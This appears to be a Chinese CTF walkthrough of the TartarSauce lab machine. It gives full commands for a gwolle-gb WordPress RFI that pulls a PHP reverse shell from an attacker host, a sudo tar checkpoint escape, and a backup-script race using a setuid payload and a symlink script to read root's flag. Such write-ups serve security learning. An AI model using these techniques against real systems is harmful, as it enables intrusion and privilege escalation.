信息收集
IP Address | Opening Ports |
---|---|
10.10.10.88 | TCP:80 |
$ nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION 80/tcp open tcpwrapped
WordPress & gwolle-gb & RFI
$ feroxbuster --url http://10.10.10.88/
$ wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100
$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'
$ cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'
www-data to onuma
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ sudo -l
$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
User.txt
1895da47f6758f6ddf1f8c8ea61b4c4a
权限提升
系统中有一个名为 “backuperer.service” 的 systemd 定时器每隔几分钟运行一次。
$ find / -name backuperer 2>/dev/null
$ cat /usr/sbin/backuperer
# 定义变量 basedir=/var/www/html # 备份源目录 bkpdir=/var/backups # 备份文件保存目录 tmpdir=/var/tmp # 临时目录 testmsg=$bkpdir/onuma_backup_test.txt # 记录备份运行时间的测试消息文件 errormsg=$bkpdir/onuma_backup_error.txt # 记录备份错误的文件 tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1) # 存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希 check=$tmpdir/check # 临时目录,用于存储解压后的备份文件 # 格式化函数 printbdr() { for n in $(seq 72); do /usr/bin/printf $"-" done } bdr=$(printbdr) # 将分隔符保存到 bdr 变量中 # 记录备份时间 /usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg # 清理 /bin/rm -rf $tmpdir/.* $check # 执行备份 /usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir & # 等待备份完成 /bin/sleep 30 # 检查备份完整性 integrity_chk() { /usr/bin/diff -r $basedir $check$basedir } # 创建 $check 目录 /bin/mkdir $check # 解压备份文件 /bin/tar -zxvf $tmpfile -C $check # 调用 integrity_chk 函数检查备份的完整性 if [[ $(integrity_chk) ]]; then # 记录错误信息并退出 /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg integrity_chk >> $errormsg exit 2 else # 移动备份文件到目标目录并清理临时文件 /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak /bin/rm -rf $check .* exit 0 fi
1.自动清除/tmp目录下以.并且以SHA1 哈希值开头的隐藏备份文件.
2.使用onuma权限备份/var/www/html目录下文件到/var/tmp目录,存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希.
3./var/tmp目录中被创建check文件夹.
4.解压备份文件/var/tmp中,以.并且以SHA1 哈希值开头的隐藏备份文件到/var/tmp/check目录
5.调用 integrity_chk 函数检查备份的完整性
主要问题存在于/bin/tar -zxvf $tmpfile -C $check
作用于/var/tmp中提取文件覆盖到/var/tmp/check目录中,我们需要在在它备份成一个.hash文件的时候劫持替换成恶意的压缩文件
构造payload
//setuid.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/sh"); }
$ sudo apt install gcc-multilib
$ gcc -m32 -o setuid setuid.c
$ chmod 4755 setuid
$ mkdir -p var/www/html
$ mv setuid ./var/www/html
$ tar -zcvf setuid.tar.gz var/
onuma@TartarSauce:/var/tmp$ wget http://10.10.16.24/setuid.tar.gz
等待定时器执行后在/var/tmp下会出现一个文件
.xxxxxx
替换文件
$ cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18
整个过程只有5分钟之内可以利用,否则会将check文件删除,这里为var/www/html是为了绕过integrity_chk函数,不产生错误的正常的执行完成。它会比较/var/tmp/check的目录结构是否和/var/www/html下的路径是否一致。
onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid
但是似乎不兼容
利用软连接+错误日志获取Flag
#!/bin/bash # exp.sh # work out of shm cd /dev/shm # set both start and cur equal to any backup file if it's there start=$(find /var/tmp -maxdepth 1 -type f -name ".*") cur=$(find /var/tmp -maxdepth 1 -type f -name ".*") # loop until there's a change in cur echo "Waiting for archive filename to change..." while [ "$start" == "$cur" -o "$cur" == "" ] ; do sleep 10; cur=$(find /var/tmp -maxdepth 1 -type f -name ".*"); done # Grab a copy of the archive echo "File changed... copying here" cp $cur . # get filename fn=$(echo $cur | cut -d'/' -f4) # extract archive tar -zxf $fn # remove robots.txt and replace it with link to root.txt rm var/www/html/robots.txt ln -s /root/root.txt var/www/html/robots.txt # remove old archive rm $fn # create new archive tar czf $fn var # put it back, and clean up mv $fn $cur rm $fn rm -rf var # wait for results echo "Waiting for new logs..." tail -f /var/backups/onuma_backup_error.txt
$ wget http://10.10.16.24/exp.sh
$ chmod +x exp.sh
$ ./exp.sh
Root.txt
6d1a541ae753613c68668f1ed114ffc9
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)